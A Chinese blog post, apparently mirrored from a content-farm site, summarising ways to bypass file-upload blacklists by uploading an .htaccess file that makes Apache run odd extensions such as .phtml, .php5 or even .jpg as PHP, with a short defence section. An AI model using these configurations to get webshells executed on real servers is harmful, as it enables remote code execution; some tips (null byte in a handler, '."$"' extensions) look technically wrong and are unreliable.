当前位置: 首页 > news >正文

.htaccess 文件上传漏洞绕过总结

.htaccess 文件上传漏洞绕过总结

核心原理

通过 .htaccess 文件修改服务器配置,将非常规扩展名解析为可执行脚本(如 PHP),绕过文件上传黑名单限制。


一、关键配置指令(图片内容分析)

图片中列出的扩展名MIME 类型可直接用于绕过:

# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps

二、扩展绕过技巧(实战增强)

1. 非常规扩展名
AddHandler application/x-httpd-php .abc .xyz .shell .test

效果:上传 shell.abc 会被当作 PHP 执行。

2. 双扩展名绕过
AddHandler application/x-httpd-php .jpg.xyz

效果image.jpg.xyz 会被解析为 PHP。

3. 空字节截断(旧系统)
AddHandler application/x-httpd-php .php%00

效果:上传 shell.php%00.jpg 可能被解析为 PHP(需 PHP<5.3)。

4. 大小写混淆
AddHandler application/x-httpd-php .PhP5 .pHtML

效果:绕过对 php 的大小写检查。

5. 特殊前缀/后缀
AddHandler application/x-httpd-php .user.ini

效果:利用 .user.iniauto_prepend_file 执行代码。


三、MIME 类型绕过

# 伪造图片 MIME 类型
AddType application/x-httpd-php .jpg .png# 或直接覆盖默认类型
RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg

四、高级组合技

1. 嵌套解析绕过
<FilesMatch "\.hack$">SetHandler application/x-httpd-php
</FilesMatch>

效果:所有 .hack 文件被解析为 PHP。

2. 动态扩展名
AddHandler application/x-httpd-php ."$"

效果:利用环境变量动态生成扩展名(需服务器支持)。


五、防御建议(管理员视角)

  1. 禁用 .htaccess 覆盖

    AllowOverride None
    
  2. 限制上传目录执行权限

    <Directory "/uploads">php_flag engine off
    </Directory>
    
  3. 严格文件类型检查

    • 使用白名单验证扩展名 + MIME 类型 + 文件头签名。

总结流程图

上传 .htaccess 文件│├── 添加恶意扩展名(.phtml, .php5)│├── 伪造 MIME 类型(image/jpg → PHP)│└── 上传伪装文件(shell.jpg.php5)│└── 服务器解析执行

通过灵活组合扩展名、MIME 类型和服务器配置规则,可绕过大多数基于黑名单的文件上传防护。

http://www.dtcms.com/a/323580.html

相关文章:

  • Linux文件操作详解:一切皆文件
  • 编辑距离-二维动态规划
  • SkyWalking-3--Java Agent开发和集成示例
  • AI智能编程工具汇总
  • ComfyUI版本更新---解决ComfyUI的节点不兼容问题
  • MySQL 主备(Master-Slave)复制 的搭建
  • SOLIDWORKS 2025对工具栏等进行了重新布局和优化
  • GoEnhance AI-AI视频风格转换工具
  • gRPC 全面解析与实战 —— 从原理到同步/异步开发全攻略
  • Linux系统编程——进程地址空间
  • GM3568JHF:FPGA+ARM异构开发板环境搭建教程
  • 嵌入式学习day23-shell命令
  • Qdrant Filtering:must / should / must_not 全解析(含 Python 实操)
  • 【Python 高频 API 速学 ②】
  • 【线程池】压测确定线程池合适的参数
  • 【js】判断异步函数的返回值要加await
  • 使用LangGraph从零构建多智能体AI系统:实现智能协作的完整指南
  • 计算机系统设计中都有什么任务~计算密集~IO密集~逻辑密集等
  • 提示条贴合右侧边栏
  • java web项目入门了解
  • 天地图,cesium,leaflet
  • java练习题:数字位数
  • Windows下使用PyInstaller打包PyQt项目
  • 第15届蓝桥杯Scratch图形化省赛中级组2024年8月24日真题
  • 4深度学习Pytorch-神经网络--损失函数(sigmoid、Tanh、ReLU、LReLu、softmax)
  • Linux-JSON Schema
  • Java类和对象课上练习题目设计
  • LLM 的向量的方向表示语义,向量长度表示什么
  • Docker容器lnmp平台部署discuz论坛
  • 工具类-高效集合差异计算工具DiffWrapper